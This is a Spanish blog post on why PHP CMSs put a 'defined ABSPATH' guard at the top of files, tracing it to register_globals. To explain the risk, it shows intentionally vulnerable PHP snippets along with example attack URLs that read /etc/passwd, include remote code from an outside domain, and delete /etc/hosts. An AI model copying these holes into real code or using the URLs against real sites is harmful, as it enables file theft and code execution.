Ese extraño código PHP en frameworks y CMS

manuelcanga

Manuel Canga

Posted on November 10, 2024

Ese extraño código PHP en frameworks y CMS

Desarrollo web

Nota: para seguir este post se presupone que dispones de unos conocimientos mínimos de programación en PHP.

Esta entrada trata sobre un fragmento de código PHP que habrás visto en la parte superior de tu CMS o framework favorito y del cual probablemente hayas leído que debes incluir siempre, por seguridad, en la cabecera de todos los archivos PHP que desarrolles, aunque sin una explicación muy clara del porqué. Me refiero a este código:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}
Enter fullscreen mode Exit fullscreen mode

Este tipo de código es muy común en los archivos de WordPress, aunque en realidad aparece en casi todos los frameworks y CMS. En el caso del CMS Joomla, por ejemplo, lo único que cambia es que, en lugar de ABSPATH, se usa JEXEC. Por lo demás, la lógica es la misma. Este CMS surgió a partir de otro llamado Mambo, que también usaba un código similar, pero con _VALID_MOS como constante. Si retrocedemos aún más en el tiempo, encontraremos que el primer CMS en usar este tipo de código fue PHP-Nuke (considerado por algunos como el primer CMS en PHP).

El flujo de ejecución de PHP-Nuke (y de la mayoría de CMS y frameworks hoy en día) consistía en cargar de manera secuencial varios archivos que, en conjunto, daban respuesta a la acción realizada por el usuario o visitante en la web. Es decir, imagina un sitio web de esa época, bajo el dominio example.net y con este CMS instalado. Cada vez que se cargaba la página de inicio, el sistema ejecutaba una secuencia de archivos de manera ordenada (en este caso es solo un ejemplo, no es una secuencia real): index.php => load_modules.php => modules.php. Es decir, en esta sucesión, primero se cargaba index.php, luego este script cargaba load_modules.php, y este a su vez modules.php.

Esta cadena de ejecución no siempre empezaba por el primer archivo (index.php). De hecho, cualquiera podía saltarse parte de este flujo llamando directamente a uno de los otros archivos PHP por su URL (por ejemplo, http://example.net/load_modules.php o http://example.net/modules.php), lo cual, como veremos, podía ser peligroso en muchos casos.

¿Cómo se resolvió este problema? Se introdujo una medida de seguridad, agregando códigos al inicio de cada archivo, similares a este:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}
Enter fullscreen mode Exit fullscreen mode

Básicamente, este código, situado en la cabecera de un archivo llamado modules.php, verificaba si se estaba accediendo a modules.php directamente a través de la URL. Si era así, se detenía la ejecución mostrando el mensaje: "You can't access this file directly…". Si $HTTP_SERVER_VARS['PHP_SELF'] no contenía modules.php, entonces significaba que estábamos en el flujo normal de ejecución y se permitía continuar.

Este código, sin embargo, presentaba algunas limitaciones. Primero, el código era distinto para cada archivo en el que se insertaba, lo que añadía complejidad. Además, en ciertas circunstancias, PHP no asignaba un valor a $HTTP_SERVER_VARS['PHP_SELF'], lo cual limitaba su efectividad.

Entonces, ¿qué hicieron los desarrolladores? Sustituyeron todos esos fragmentos de código por una versión más sencilla y eficiente:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}
Enter fullscreen mode Exit fullscreen mode

En este nuevo código, que ya era bastante común en la comunidad PHP, se verificaba la existencia de una constante. Esta constante se definía y asignaba un valor en el primer archivo del flujo (index.php o home.php o algún archivo similar). Por lo tanto, si esta constante no existía en algún otro archivo de la secuencia, significaba que alguien había saltado el archivo index.php y estaba intentando acceder a otro archivo directamente.

Peligros de que alguien lance un archivo PHP directamente

Seguramente a estas alturas estés pensando que romper la cadena de ejecución debe de ser lo más grave del mundo. Sin embargo, la realidad es que, normalmente, no representa un peligro importante.

El peligro puede surgir cuando un error de PHP expone la ruta a nuestros archivos. Esto no debería preocuparnos si en el servidor tenemos configurada la supresión de errores, y, aunque los errores no estuvieran ocultos, la información expuesta sería mínima, proporcionando apenas algunas pistas a un posible atacante.

También podría ocurrir que alguien accediera a archivos que contuvieran fragmentos de HTML (de vistas), revelando parte de su contenido. En la mayoría de los casos, esto tampoco debería ser motivo de preocupación.

Finalmente, podría suceder que un desarrollador, bien por despiste o por falta de experiencia, inserte código peligroso y sin dependencia externa en medio de un flujo de ejecución. Esto es muy poco común, ya que normalmente el código de un framework o CMS depende de otras clases, funciones o variables externas para su ejecución. Por lo tanto, si se intenta ejecutar un script directamente a través de la URL, generará errores al no encontrar estas dependencias y no continuará su ejecución.

Entonces, ¿por qué añadir el código de la constante si apenas hay motivos de preocupación? La razón es la siguiente: "Este método también previene la inyección accidental de variables a través de un ataque a register globals, impidiendo que el archivo PHP asuma que está dentro de la aplicación cuando realmente no lo está."

Register globals

Desde los inicios de PHP, todas las variables enviadas a través de URLs (GET) o de formularios (POST) se convertían automáticamente en globales. Es decir, si se accedía al archivo download.php?filepath=/etc/passwd, en el archivo download.php (y en los que dependieran de él en el flujo de ejecución) se podía usar echo $filepath; y el resultado sería /etc/passwd.

Dentro de download.php, no había forma de saber si la variable $filepath había sido creada por un archivo previo en el flujo de ejecución o si alguien la había falsificado a través de la URL o con un POST. Esto generaba grandes agujeros de seguridad. Veámoslo con un ejemplo, suponiendo que el archivo download.php contiene el siguiente código:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}
Enter fullscreen mode Exit fullscreen mode

El desarrollador probablemente pensó en implementar su código con un patrón Front Controller, es decir, haciendo que todas las peticiones web pasaran a través de un único archivo de entrada (index.php, home.php, etc.). Este archivo se encargaría de inicializar la sesión, cargar variables comunes, y finalmente, redirigir la petición a un script específico (en este caso download.php) para realizar la descarga del archivo.

Sin embargo, un atacante podría saltarse la secuencia de ejecución planeada, simplemente llamando a download.php?filepath=/etc/passwd como se mencionaba antes. Así, PHP crearía automáticamente la variable global $filepath con el valor /etc/passwd, permitiendo al atacante descargar ese archivo del sistema. Grave error.

Esto es solo la punta del iceberg, pues se podían ejecutar ataques aún más peligrosos con un esfuerzo mínimo. Por ejemplo, en un código como el siguiente, que el programador podría haber dejado como script sin terminar:

<?php

require_once($base_path."/My.class.php");
Enter fullscreen mode Exit fullscreen mode

Un atacante podía ejecutar cualquier código usando un ataque de tipo Remote File Inclusion (RFI). Así, si el atacante creaba un archivo My.class.php en su propio sitio https://mysite.net con cualquier código que deseara ejecutar, podía llamar al script vulnerable pasándole su dominio: codigo_inutil.php?base_path=https://mysite.net, y el ataque quedaba completado.

Otro ejemplo: en un script llamado remove_file.inc.php con el siguiente código:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "Fichero borrado";
    }
}
Enter fullscreen mode Exit fullscreen mode

un atacante podría llamar directamente a este archivo usando una URL como remove_file.inc.php?filename=/etc/hosts, y así intentaría borrar el archivo /etc/hosts del sistema (si el sistema lo permite, o bien, otros archivos a los que tenga permisos de eliminación).

En un CMS como WordPress, que además utiliza variables globales internamente, este tipo de ataques era devastador. Sin embargo, gracias a la técnica de la constante, estos y otros scripts PHP estaban protegidos. Veámoslo con el último ejemplo:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "Fichero borrado";
    }
}
Enter fullscreen mode Exit fullscreen mode

Ahora, si alguien intentara acceder a remove_file.inc.php?filename=/etc/hosts, la constante bloquearía el acceso. Es fundamental que sea una constante, porque si fuera una variable, como es lógico, el atacante podría inyectarla.

A estas alturas seguramente te preguntarás por qué PHP mantuvo esta funcionalidad si era tan peligrosa. Además, si conoces otros lenguajes de scripting (JSP, Ruby, etc.), verás que no tienen algo similar (por eso mismo tampoco usan la técnica de la constante). Recordemos que PHP nació como un sistema de plantillas en C, y este comportamiento facilitaba el desarrollo. La buena noticia es que, viendo los problemas que causaba, los mantenedores de PHP decidieron introducir una directiva en php.ini llamada register_globals (activada por defecto) para permitir desactivar esta funcionalidad.

Pero como los problemas persistían, la desactivaron por defecto. Aún así, muchos hosts seguían activándola por miedo a que los proyectos de sus clientes dejaran de funcionar, ya que mucho del código de aquella época no usaba las variables recomendadas HTTP_*_VARS para acceder a los valores GET/POST/..., sino las variables globales.

Finalmente, viendo que la situación no cambiaba, tomaron una decisión drástica: eliminar esta funcionalidad en PHP 5.4 para evitar todos estos problemas. Así, hoy en día, los scripts como los que hemos visto (sin utilizar constantes) ya no suponen normalmente un peligro, salvo por alguna advertencia/notice inofensiva en ciertos casos.

Uso hoy en día

Hoy en día, la técnica de la constante sigue siendo común. Sin embargo, lo que resulta triste —y el motivo que originó esta publicación— es que pocos desarrolladores conocen la razón real de su uso.

Como sucede con otras buenas prácticas del pasado (como copiar los parámetros en una función a variables locales para evitar peligros con las referencias en la llamada, o usar guiones bajos en variables privadas para distinguirlas), muchos lo siguen aplicando solo porque alguien alguna vez les dijo que era una buena práctica, sin considerar si realmente aporta valor en los tiempos actuales. La realidad es que, en la mayoría de los casos, esta técnica ya no es necesaria.

Algunas razones por las que esta práctica ha perdido relevancia son las siguientes:

  • Desaparición de *register globals: Desde PHP 5.4, ya no existe la funcionalidad de registrar variables GET y POST como variables globales de PHP. Como hemos visto, sin *register globals, la ejecución de scripts individuales se vuelve inofensiva, eliminando la principal razón de esta práctica.

  • Mejor diseño en el código actual: Aun en versiones anteriores a PHP 5.4, el código moderno está mejor diseñado, estructurado en clases y funciones, lo que complica el acceso o la manipulación mediante variables externas. Incluso WordPress, que suele utilizar variables globales, minimiza estos riesgos.

  • Uso de *front-controllers: Hoy en día, la mayoría de las aplicaciones web utilizan *front-controllers bien diseñados, que garantizan que el código de las clases y funciones solo se ejecute si la cadena de ejecución comienza en el punto de entrada principal. Así, no importa si alguien intenta cargar archivos de forma aislada: la lógica no se activará si no se inicia el flujo desde el punto adecuado.

  • Autocarga de clases: Dado que en el desarrollo actual se utiliza la autocarga de clases, el uso de include o require se ha reducido considerablemente. Esto hace que, salvo que seas un desarrollador novato, no debería haber includes o requires que puedan presentar riesgos (como Remote File Inclusion o Local File Inclusion).

  • Separación de código público y privado: En muchos CMS y frameworks modernos, el código público (como assets) se separa del código privado (el de programación). Esta medida es especialmente valiosa, ya que garantiza que, si PHP falla en el servidor, el código de los archivos PHP (usen o no la técnica de la constante) no quede expuesto. Aunque esto no se implementó específicamente para mitigar register globals, ayuda a evitar otros problemas de seguridad.

  • Uso extendido de URLs amigables: Hoy en día, es habitual configurar el servidor para usar URLs amigables, lo cual fuerza siempre un único punto de entrada a la programación. Esto hace casi imposible que alguien pueda cargar archivos PHP de forma aislada.

  • Supresión de salida de errores en producción: La mayoría de los CMS y frameworks modernos bloquean la salida de errores por defecto, de modo que los atacantes no encuentran pistas sobre el funcionamiento interno de la aplicación, algo que podría facilitarles otros tipos de ataque.

Aunque esta técnica ya no sea necesaria en la mayoría de los casos, esto no significa que nunca sea útil. Como desarrollador profesional, es fundamental analizar cada caso y decidir si la técnica de la constante es relevante en el contexto específico en el que estás trabajando. Este es un criterio que deberías aplicar siempre, incluso en lo que consideras buenas prácticas.

¿Dudas? Aquí tienes algunos consejos

Si aún no tienes claro cuándo aplicar la técnica de la constante, estas recomendaciones pueden orientarte:

  • Usa la técnica siempre si piensas que tu código puede ejecutarse en una versión de PHP anterior a la 5.4.
  • No la uses si el archivo solo contiene la definición de una clase.
  • No la uses si el archivo contiene únicamente funciones.
  • No la uses si el archivo solo incluye HTML/CSS, a menos que el HTML exponga algún tipo de información valiosa.
  • No la uses si el archivo solo contiene constantes.

Para todo lo demás, si tienes dudas, aplícala. En la mayoría de los casos no debería ser perjudicial y podría protegerte en circunstancias inesperadas, especialmente si estás empezando. Con el tiempo y la experiencia, serás capaz de evaluar mejor cuándo aplicar esta y otras técnicas.

Desarrollo PHP

Sigue aprendiendo...

💖 💪 🙅 🚩
manuelcanga
Manuel Canga

Posted on November 10, 2024

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related